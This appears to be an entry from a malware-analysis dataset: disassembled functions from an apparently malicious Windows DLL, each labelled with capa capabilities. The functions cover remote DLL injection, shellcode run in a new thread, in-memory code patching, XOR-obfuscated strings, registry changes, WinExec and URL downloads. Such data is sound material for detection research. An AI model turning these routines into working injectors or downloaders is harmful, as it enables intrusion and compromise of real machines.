joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007be0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x110c
call fcn.10033670
mov eax, dword [0x10047650]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x10c]
push eax
push 0x1000
lea ecx, [ebp - 0x110c]
push ecx
xor esi, esi
push ebx
mov dword [ebp - 0x10c], esi
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
jne 0x10007c31
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1002005a
mov esp, ebp
pop ebp
ret 4
push edi
mov edi, dword [ebp - 0x10c]
shr edi, 2
test edi, edi
jle 0x10007c96
nop
mov eax, dword [ebp + esi*4 - 0x110c]
push 0x104
lea edx, [ebp - 0x108]
push edx
push eax
push ebx
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
test eax, eax
je 0x10007c91
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x108]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10007c88
test dl, dl
je 0x10007c84
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10007c88
add eax, 2
add ecx, 2
test dl, dl
jne 0x10007c68
xor eax, eax
jmp 0x10007c8d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10007caa
inc esi
cmp esi, edi
jl 0x10007c40
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1002005a
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.1002005a
mov esp, ebp
pop ebp
ret 4

Function at 0x10007cc0
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
push esi
push 4
push 0x1000
push ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x10007cfc
mov eax, dword [ebp + 8]
push 0
push ebx
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10007d03
push 0x8000
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
pop esi
pop ebp
ret 4
push 0x10040b40
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10007cee
push 0
push 0
push esi
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x10007cee
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push ebx
push esi
push edi
test eax, eax
jne 0x10007cf6
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, 1
pop esi
pop ebp
ret 4

Function at 0x10007ef0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 0x100
push 0x101ab270
call esi
mov ecx, dword [ebp + 8]
push 0x100
add ecx, 5
push ecx
push 0x101ab270
call fcn.10023130
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp - 4]
push edx
push eax
push 0x100
push 0x101ab270
call esi
push 0
push 0
push 0
push 0x10007e90
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10007fd0
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe4
mov eax, dword [0x10047650]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x94
lea eax, [ebp - 0xe0]
push 0
push eax
call fcn.100239d0
add esp, 0xc
lea ecx, [ebp - 0xe0]
push ecx
mov dword [ebp - 0xe0], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea edx, [ebp - 0x48]
push edx
mov dword [ebp - 0x48], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov esi, ecx
mov edx, eax
shrd edx, esi, 0x14
shr esi, 0x14
sub eax, dword [ebp - 0x38]
push edx
sbb ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0xdc]
shrd eax, ecx, 0x14
push eax
mov eax, dword [ebp - 0xd4]
push eax
shr ecx, 0x14
mov ecx, dword [ebp - 0xd8]
push ecx
push edx
push str.PREMIUM
push 0x10048e38
call fcn.10003ff0
add esp, 4
push eax
push 0
mov ecx, 0x100a8f80
call fcn.100047e0
mov ecx, dword [ebp - 4]
add esp, 0x20
xor ecx, ebp
pop esi
call fcn.1002005a
mov esp, ebp
pop ebp
ret
Function at 0x10008640
Capabilities:
Check if file exists
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x8c
mov eax, dword [0x10047650]
xor eax, esp
mov dword [esp + 0x88], eax
push ebx
push esi
push edi
mov dword [esp + 0x14], 0
mov ecx, 0xf
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + str.LMEZZQY_KEYnnnqmSLLVPH]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x28], dl
inc eax
and ecx, 0xff
cmp eax, 0x18
jb 0x10008670
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
lea eax, [esp + 0x28]
push eax
mov byte [esp + 0x44], 0
call ebx
test eax, eax
jne 0x1000872b
mov ecx, 0x15
jmp 0x100086b0
mov dl, byte [eax + str.V_Kxnz_pg_wHDF]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x18], dl
inc eax
and ecx, 0xff
cmp eax, 0xf
jb 0x100086b0
lea eax, [esp + 0x18]
push eax
mov byte [esp + 0x2b], 0
call ebx
test eax, eax
jne 0x1000872b
mov edi, 0x68b086d8
lea esi, [esp + 0x84]
call fcn.1001b1b0
push eax
call ebx
test eax, eax
jne 0x1000872b
mov edi, 0x10040ccc
sub edi, 0x32593faf
lea esi, [esp + 0x64]
call fcn.1001b1e0
push eax
call ebx
test eax, eax
jne 0x1000872b
mov edi, str.S_Kxnz_pg_wHDF
sub edi, 0x43f2140e
lea esi, [esp + 0x74]
call fcn.1001b210
push eax
call ebx
test eax, eax
jne 0x1000872b
xor al, al
jmp 0x1000872d
mov al, 1
test al, al
jne 0x1000883b
mov ecx, 6
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + str.UHN__JHRByr_gzpcDNsuxrilbWQV_HSLXXEB_s_ZWSDdBKPRLZ2]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x28], dl
inc eax
and ecx, 0xff
cmp eax, 0x3b
jb 0x10008740
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 0x10]
push eax
push 0xf003f
push 0
lea ecx, [esp + 0x34]
push ecx
push connect
mov byte [esp + 0x77], 0
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x100087c1
mov ecx, dword [esp + 0x10]
push 4
lea edx, [esp + 0x10]
push edx
push 4
push 0
lea eax, [esp + 0x28]
push eax
push ecx
mov dword [esp + 0x24], 0
mov dword [esp + 0x30], 0x75526f4e
mov word [esp + 0x34], 0x6e
call edi
mov edx, dword [esp + 0x10]
push edx
call ebx
mov ecx, 0xa1
xor eax, eax
jmp 0x100087d0
mov dl, byte [eax + 0x10040d28]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x28], dl
inc eax
and ecx, 0xff
cmp eax, 0x2a
jb 0x100087d0
lea eax, [esp + 0x14]
push eax
push 0xf003f
push 0
lea ecx, [esp + 0x34]
push ecx
push connect
mov byte [esp + 0x66], 0
call esi
test eax, eax
jne 0x1000883b
push 4
lea edx, [esp + 0x10]
push edx
push 4
mov dword [esp + 0x18], eax
push eax
mov ecx, 0x10040d54
sub ecx, 0x38d41ae2
lea eax, [esp + 0x28]
call fcn.1001b240
push eax
mov eax, dword [esp + 0x24]
push eax
call edi
mov ecx, dword [esp + 0x14]
push ecx
call ebx
mov ecx, dword [esp + 0x94]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1002005a
mov esp, ebp
pop ebp
ret
Function at 0x10009f10
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003bb18
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
push edi
mov eax, dword [0x10047650]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x101aa0a8]
cmp eax, 0x927c0
jb 0x10009f53
call esi
mov dword [0x101aa0a8], eax
xor esi, esi
cmp dword [0x101aa094], esi
je 0x10009fc4
push esi
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], esi
mov edx, dword [0x101aa098]
push edx
lea eax, [ebp - 0x20]
push eax
call fcn.10009cf0
mov edi, dword [ebp - 0x20]
test al, al
je 0x10009fad
cmp edi, dword [ebp - 0x1c]
je 0x10009fad
lea ecx, [ebp - 0x20]
push ecx
call fcn.10009fe0
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
cmp edi, esi
je 0x10009fc4
push edi
call fcn.1002004f
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000a220
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1003bb48
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
push esi
push edi
mov eax, dword [0x10047650]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x101aa0a8]
cmp eax, 0x927c0
jb 0x1000a267
call esi
mov dword [0x101aa0a8], eax
xor esi, esi
push esi
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x30], 1
mov dword [esp + 0x34], esi
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], esi
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
push 0x14
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x48], esi
call fcn.10009cf0
mov edi, dword [esp + 0x14]
test al, al
jne 0x1000a2b8
cmp edi, dword [esp + 0x18]
jne 0x1000a2c2
lea eax, [esp + 0x14]
push eax
call fcn.1000a3b0
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
cmp edi, esi
je 0x1000a2da
push edi
call fcn.1002004f
add esp, 4
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000a2f0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003bb18
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
push edi
mov eax, dword [0x10047650]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x101aa0a8]
cmp eax, 0x927c0
jb 0x1000a333
call esi
mov dword [0x101aa0a8], eax
xor esi, esi
push esi
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
push 0x14
lea edx, [ebp - 0x20]
push edx
mov dword [ebp - 4], esi
call fcn.10009cf0
mov edi, dword [ebp - 0x20]
test al, al
jne 0x1000a377
cmp edi, dword [ebp - 0x1c]
jne 0x1000a380
lea eax, [ebp - 0x20]
push eax
call fcn.1000a3b0
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
cmp edi, esi
je 0x1000a397
push edi
call fcn.1002004f
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000acf0
Capabilities:
Check if file exists
Encode data using xor
Set registry value

Disassembly:
movzx eax, byte [ecx + 4]
push edi
cmp eax, 5
ja case.default.0x1000acfe
jmp dword [eax*4 + 0x1000ada4]
pop edi
jmp fcn.10008640
cmp dword [0x101ab3d4], 0
jne case.default.0x1000acfe
xor ecx, ecx
mov edi, 0x10008dd0
mov dword [0x101ab3d4], 1
call fcn.10003bf0
pop edi
ret
cmp dword [0x101ab3d4], 0
jne case.default.0x1000acfe
xor ecx, ecx
mov edi, 0x10008dd0
mov dword [0x101ab3d4], 2
call fcn.10003bf0
pop edi
ret
cmp dword [0x101ab3d4], 0
jne case.default.0x1000acfe
xor ecx, ecx
mov edi, 0x10008dd0
mov dword [0x101ab3d4], 3
call fcn.10003bf0
pop edi
ret
cmp dword [0x101ab3d4], 0
jne case.default.0x1000acfe
xor ecx, ecx
mov edi, 0x10008dd0
mov dword [0x101ab3d4], 4
call fcn.10003bf0
pop edi
ret
cmp byte [ecx + 0x10], 0
setne al
mov byte [0x101ab6c4], al
pop edi
ret
Function at 0x1000c360
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003c098
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x10047650]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edx, edx
mov ecx, 0x75
xor eax, eax
mov bl, byte [eax + 0x10041108]
xor bl, cl
inc ecx
mov byte [ebp + eax - 0x34], bl
inc eax
and ecx, 0xff
cmp eax, 0x21
jb 0x1000c392
mov byte [ebp - 0x13], dl
push 0x1388
lea eax, [ebp - 0x34]
push eax
push 2
mov eax, 0x100a9eb8
mov dword [ebp - 4], edx
call fcn.100050d0
add esp, 0xc
call fcn.10003cf0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1002005a
mov esp, ebp
pop ebp
ret

Function at 0x1000c3f0
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10047650]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0x49
xor eax, eax
mov dl, byte [eax + str.:__8__8_q]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x18], dl
inc eax
and ecx, 0xff
cmp eax, 0x10
jb 0x1000c407
push 0
lea eax, [ebp - 0x18]
push eax
mov byte [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_WinExec]
call fcn.10003cf0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1002005a
mov esp, ebp
pop ebp
ret

Function at 0x1000d000
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10047650]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
push 0xc
lea eax, [ebp - 0x20]
push eax
xor edi, edi
push ebx
mov dword [ebp - 0x20], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.PSAPI.DLL_GetModuleInformation]
mov dword [ebp - 0x10], 0xff6aff6a
mov dword [ebp - 0xc], 0xffffffff
mov word [ebp - 8], 0xffff
mov byte [ebp - 6], 0xe8
cmp dword [ebp - 0x1c], edi
jbe 0x1000d0cc
push esi
xor eax, eax
mov cl, byte [ebp + eax - 0x10]
cmp cl, 0xff
je 0x1000d063
lea edx, [eax + ebx]
cmp byte [edx + edi], cl
jne 0x1000d0c5
inc eax
cmp eax, 0xb
jl 0x1000d052
mov al, byte [ebx + edi + 1]
test al, al
je 0x1000d075
cmp al, 1
jne 0x1000d0c5
mov al, byte [ebx + edi + 3]
test al, al
je 0x1000d081
cmp al, 1
jne 0x1000d0c5
mov eax, dword [ebx + edi + 0xb]
lea esi, [ebx + edi + 0xa]
lea ecx, [eax + esi + 5]
cmp ecx, 0x404d70
jne 0x1000d0c5
lea edx, [ebp - 0x14]
push edx
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x24]
push ecx
push edx
mov eax, 0x1000cfb0
sub eax, esi
push 5
sub eax, 5
push esi
mov byte [esi], 0xe8
mov dword [esi + 1], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc edi
cmp edi, dword [ebp - 0x1c]
jb 0x1000d050
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.1002005a
mov esp, ebp
pop ebp
ret
Function at 0x1000d0e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10047650]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
xor edi, edi
cmp ebx, edi
je 0x1000d1ac
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
push 0xc
lea eax, [ebp - 0x20]
push eax
push ebx
mov dword [ebp - 0x20], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.PSAPI.DLL_GetModuleInformation]
mov dword [ebp - 0x10], 0xff6aff6a
mov dword [ebp - 0xc], 0xffffffff
mov word [ebp - 8], 0xffff
mov byte [ebp - 6], 0xff
cmp dword [ebp - 0x1c], edi
jbe 0x1000d1ac
push esi
jmp 0x1000d140
xor eax, eax
mov cl, byte [ebp + eax - 0x10]
cmp cl, 0xff
je 0x1000d153
lea edx, [eax + ebx]
cmp byte [edx + edi], cl
jne 0x1000d1a5
inc eax
cmp eax, 0xb
jl 0x1000d142
mov al, byte [ebx + edi + 1]
test al, al
je 0x1000d165
cmp al, 1
jne 0x1000d1a5
mov al, byte [ebx + edi + 3]
test al, al
je 0x1000d171
cmp al, 1
jne 0x1000d1a5
cmp dword [ebx + edi + 5], 0x404d70
lea esi, [ebx + edi + 5]
jne 0x1000d1a5
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x14]
push ecx
push edx
push 4
push esi
mov dword [esi], 0x1000cfb0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc edi
cmp edi, dword [ebp - 0x1c]
jb 0x1000d140
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.1002005a
mov esp, ebp
pop ebp
ret
Function at 0x1000ddf0
Capabilities:
Check if file exists
Create directory
Download url
Encode data using xor
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov eax, dword [0x10047650]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x104
xor ebx, ebx
lea eax, [ebp - 0x110]
push ebx
push eax
call fcn.100239d0
add esp, 0xc
mov ecx, 0xcf
xor eax, eax
mov dl, byte [eax + 0x1004136c]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x23c], dl
inc eax
and ecx, 0xff
cmp eax, 0x22
jb 0x1000de23
push edi
lea eax, [ebp - 0x23c]
push eax
lea ecx, [ebp - 0x110]
push ecx
mov byte [ebp - 0x21a], bl
call fcn.1002029d
add esp, 0xc
mov ecx, 0xce
xor eax, eax
mov dl, byte [eax + 0x10041390]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x234], dl
inc eax
and ecx, 0xff
cmp eax, 0x1b
jb 0x1000de63
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
lea eax, [ebp - 0x234]
push eax
mov byte [ebp - 0x219], bl
call esi
test eax, eax
sete al
cmp al, bl
je 0x1000ded4
mov ecx, 0xc3
xor eax, eax
mov dl, byte [eax + 0x100413ac]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x234], dl
inc eax
and ecx, 0xff
cmp eax, 0x1b
jb 0x1000dea4
push ebx
lea eax, [ebp - 0x234]
push eax
mov byte [ebp - 0x219], bl
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x110]
push ecx
call esi
test eax, eax
jne 0x1000df50
push 0x104
lea edx, [ebp - 0x218]
push ebx
push edx
call fcn.100239d0
add esp, 0xc
mov ecx, 0xa6
xor eax, eax
lea ecx, [ecx]
mov dl, byte [eax + 0x100413c8]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x248], dl
inc eax
and ecx, 0xff
cmp eax, 0x2f
jb 0x1000df00
push edi
lea eax, [ebp - 0x248]
push eax
lea ecx, [ebp - 0x218]
push ecx
mov byte [ebp - 0x219], bl
call fcn.1002029d
add esp, 0xc
push ebx
push ebx
lea edx, [ebp - 0x110]
push edx
lea eax, [ebp - 0x218]
push eax
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.1002005a
mov esp, ebp
pop ebp
ret
Function at 0x1000df60
Capabilities:
Check if file exists
Create directory
Download url
Encode data using xor
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov eax, dword [0x10047650]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x104
xor ebx, ebx
lea eax, [ebp - 0x110]
push ebx
push eax
call fcn.100239d0
add esp, 0xc
mov ecx, 0xee
xor eax, eax
mov dl, byte [eax + 0x100413f8]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x23c], dl
inc eax
and ecx, 0xff
cmp eax, 0x22
jb 0x1000df93
push edi
lea eax, [ebp - 0x23c]
push eax
lea ecx, [ebp - 0x110]
push ecx
mov byte [ebp - 0x21a], bl
call fcn.1002029d
add esp, 0xc
mov ecx, 0xbb
xor eax, eax
mov dl, byte [eax + 0x1004141c]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x234], dl
inc eax
and ecx, 0xff
cmp eax, 0x1b
jb 0x1000dfd3
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
lea eax, [ebp - 0x234]
push eax
mov byte [ebp - 0x219], bl
call esi
test eax, eax
sete al
cmp al, bl
je 0x1000e044
mov ecx, 0x69
xor eax, eax
mov dl, byte [eax + 0x10041438]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x234], dl
inc eax
and ecx, 0xff
cmp eax, 0x1b
jb 0x1000e014
push ebx
lea eax, [ebp - 0x234]
push eax
mov byte [ebp - 0x219], bl
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x110]
push ecx
call esi
test eax, eax
jne 0x1000e0c0
push 0x104
lea edx, [ebp - 0x218]
push ebx
push edx
call fcn.100239d0
add esp, 0xc
mov ecx, 0x4b
xor eax, eax
lea ecx, [ecx]
mov dl, byte [eax + str.89_u]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x248], dl
inc eax
and ecx, 0xff
cmp eax, 0x2f
jb 0x1000e070
push edi
lea eax, [ebp - 0x248]
push eax
lea ecx, [ebp - 0x218]
push ecx
mov byte [ebp - 0x219], bl
call fcn.1002029d
add esp, 0xc
push ebx
push ebx
lea edx, [ebp - 0x110]
push edx
lea eax, [ebp - 0x218]
push eax
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.1002005a
mov esp, ebp
pop ebp
ret
Function at 0x10013ce0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003c2e7
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x10047650]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebx], 0x10041dc8
mov dword [ebx + 0x60], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 4], eax
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
mov dword [ebx + ecx], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov edx, dword [ebx]
mov edi, dword [edx + 4]
add edi, ebx
mov ecx, edi
mov dword [ebp - 0x10], 1
call fcn.100016c0
lea esi, [ebx + 4]
push 0x20
mov ecx, edi
mov dword [edi + 0x38], esi
mov dword [edi + 0x3c], 0
call fcn.10018dd0
cmp dword [edi + 0x38], 0
mov byte [edi + 0x40], al
jne 0x10013d73
mov eax, dword [edi + 0xc]
or eax, 4
or eax, 4
push 0
push eax
mov ecx, edi
call fcn.10001580
mov dword [ebp - 4], 2
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
mov dword [ebx + ecx], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov ecx, esi
call fcn.10016c90
lea edx, [esi + 8]
mov dword [esi + 0x10], edx
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
mov dword [esi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esi + 0x50], 0
mov byte [esi + 0x49], 0
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
xor ecx, ecx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], ecx
mov eax, dword [esi + 0x24]
mov dword [eax], ecx
mov edx, dword [esi + 0x34]
mov dword [edx], ecx
mov eax, dword [esi + 0x10]
mov dword [eax], ecx
mov edx, dword [esi + 0x20]
mov dword [edx], ecx
mov eax, dword [esi + 0x30]
mov dword [eax], ecx
mov dword [esi + 0x54], ecx
mov edx, dword [0x101abd40]
mov dword [esi + 0x4c], edx
mov dword [esi + 0x44], ecx
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10015890
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003bab8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x10047650]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x44], ebx
je 0x100159b1
cmp byte [edi + 0x49], bl
je 0x100159b1
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
call edx
cmp eax, 0xffffffff
je 0x100159a5
mov ecx, 0xf
xor eax, eax
mov byte [ebp - 0x2c], bl
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 8
cmp ecx, 0x10
jae 0x10015905
lea eax, [ebp - 0x2c]
mov byte [eax + 8], bl
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x2c]
mov ebx, dword [ebp - 0x18]
mov edx, eax
cmp ebx, 0x10
jae 0x1001591d
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [edi + 0x44]
mov esi, dword [ecx]
lea ebx, [ebp - 0x30]
push ebx
push edx
push eax
lea eax, [edi + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x10015946
dec eax
je 0x1001594a
sub eax, 2
lea ecx, [ebp - 0x2c]
jne 0x100159a0
jmp 0x100159ac
mov byte [edi + 0x49], 0
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, eax
cmp ebx, 0x10
jae 0x1001595a
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, ecx
je 0x10015983
cmp ebx, 0x10
jae 0x10015969
lea eax, [ebp - 0x2c]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call fcn.10022383
add esp, 0x10
cmp esi, eax
jne 0x1001599d
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [edi + 0x49], 0
je 0x100159a9
test esi, esi
jne 0x10015911
push esi
push 8
lea ecx, [ebp - 0x2c]
call fcn.10014d20
jmp 0x1001590b
lea ecx, [ebp - 0x2c]
call fcn.10013040
xor al, al
jmp 0x100159b3
